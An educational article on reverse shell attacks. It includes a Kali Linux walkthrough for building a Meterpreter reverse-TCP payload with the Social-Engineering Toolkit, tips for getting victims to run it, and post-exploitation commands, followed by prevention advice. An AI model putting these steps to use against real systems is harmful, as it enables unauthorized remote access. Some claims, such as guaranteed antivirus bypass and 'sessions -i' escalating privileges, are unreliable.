The article explores the technique of remote server control through reverse shells employed by hackers, emphasizing their ability to gain unauthorized access and control over servers.

In a conventional client-server setup, users interact with machines that offer services, and the roles of client and server are clearly defined. The client takes the initiative by establishing a connection to the server, which in turn listens for incoming connections on designated ports. This traditional model maintains a regulated communication flow, where the client makes requests and the server responds accordingly.

Nevertheless, within the domain of cybersecurity, threat actors consistently seek out new methods to exploit vulnerabilities and circumvent security safeguards. A prime example of such ingenuity is the reverse shell attack, which cleverly subverts the conventional client-server paradigm. Through skillful manipulation of this fundamental communication flow, attackers can infiltrate networks, extract valuable information, and inflict significant harm upon unsuspecting targets.

What is a Reverse Shell Attack?

A reverse shell attack is an illicit cyber attack in which an unauthorized individual obtains entry into a target server or computer system and establishes a remote connection from the compromised system to the attacker's machine. In contrast to conventional attacks where the attacker directly connects to the victim's system, a reverse shell attack involves reversing the communication flow to establish a covert connection back to the attacker.

The below snapshot  shows an attacker using SSH to connect to the Target machine. Since firewalls are configured to block incoming SSH connections, this connection is rejected at the firewall.

----------------------------------------------------------------------------------------------------------------------------

The below snapshot shows the target computer using SSH to initiate a connection to the hacker’s machine. Since firewalls are configured to allow outgoing SSH connections, this connection is passed through the firewall. An attacker runs a server on their computer that waits for incoming SSH connections.

----------------------------------------------------------------------------------------------------------------------------

In Figure 3, the target (1) begins a SSH shell connection(2) by clicking a maliscious link or executable. The firewall (3) allows the connection because outdoing SSH is allowed by default. The attacker (4) on a public IP address waits for an incoming SSH connections. The attacker starts the exploit by a reverse shell (5) allowing a direct connection to the target computer.

-----------------------------------------------------------------------------------------------------------------------------

Setting up the reverse shell in kali linux

Step 1:

Launch the Social-Engineering Toolkit Which is available inbuilt in kali linux

Step 2:

Type the command in linux terminal

#sudo setoolkit

Step 3:

select the option 1) social-Engineering Attacks

Step 4:

Select option 4 ) Create a payload and listener

Step 5:

Select option 2)Windows Reverse_TCP Meterpreter

Step 6:

Enter the IP address (LHOST) 

What is lhost?

LHOST of the payload should be your public IP. Reason is that LHOST is embedded within the first stage payload. It must be able to connect back to the handler which means if the victim is outside the LAN, the payload stager needs a routable IP address to reach the handler. I will call the LHOST in payload as LHOST-PAYLOAD

Step 7:

Enter the LPORT

Step 8:

follow as below

Step 9:

once the payload is created successfully ,it opens msfconsole

Step 10:

Meterpreter creates the .exe file in /root/.set/payload.exe. Change to superuser and copy payload.exe file to your home directory.

 

BY using the command

$sudo -i

$ cp /root/.set/payload.exe  /home/kali

Step 11:

Setting up the exploit is the easy part. Getting educated users to click on link or execute a file is the challenge. You can install the payload.exe on the victim’s computer via email, FTP, file transfer, web link, or USB drive. All you need is for them to execute the file by double-clicking on the payload.exe executable.

Our Windows 7 machine displays the payload.exe file on the desktop. Double-clicking or executing the .exe launches the connection to the server. Bypassing the firewall and any virus or malware protection you have on your network.

Step 12:

When the target clicks on the file, the exploit is complete. This exploit launches a remote connection to the attackers machine. In hacker terms, the system is Pwned

After the victim executes the payload.exe file the connection between hacker and Windows 7 is complete. The last line in this screenshot shows the connection

Type the sessions command to see what processes are running.

To escalate our session to run as a Windows user, type the sessions -i 1 command. If there are multiple sessions running, replace 1 with whatever process you want to capture.

Enter the sysinfo command to confirm OS and version numbers.

Change to a shell by typing the shell command.

How to prevent reverse shell attacks

If we can prevent an attacker from executing code on your machine, we eliminate almost all possibilities of a reverse shell attack. Let’s look at some measures you can take to prevent malicious reverse shell attacks as a developer.

• Remove execution statements. Statements in your code that can execute scripts or other pieces of code like exec() should be avoided as much as possible.
• Sanitize and validate input. All input must be considered potentially malicious. This is not only direct user input. For instance, when a database field is the input of an execution, somebody can try to attack the database.
• Run your application with limited privileges. Don’t run your application as root but create a user with the least privileges needed. This, unfortunately, happens a lot with applications in Docker containers as the default user in a Docker container is root.
• Prevent vulnerabilities that enable remote code execution. If a library or framework is compromised, replace it with a secure version.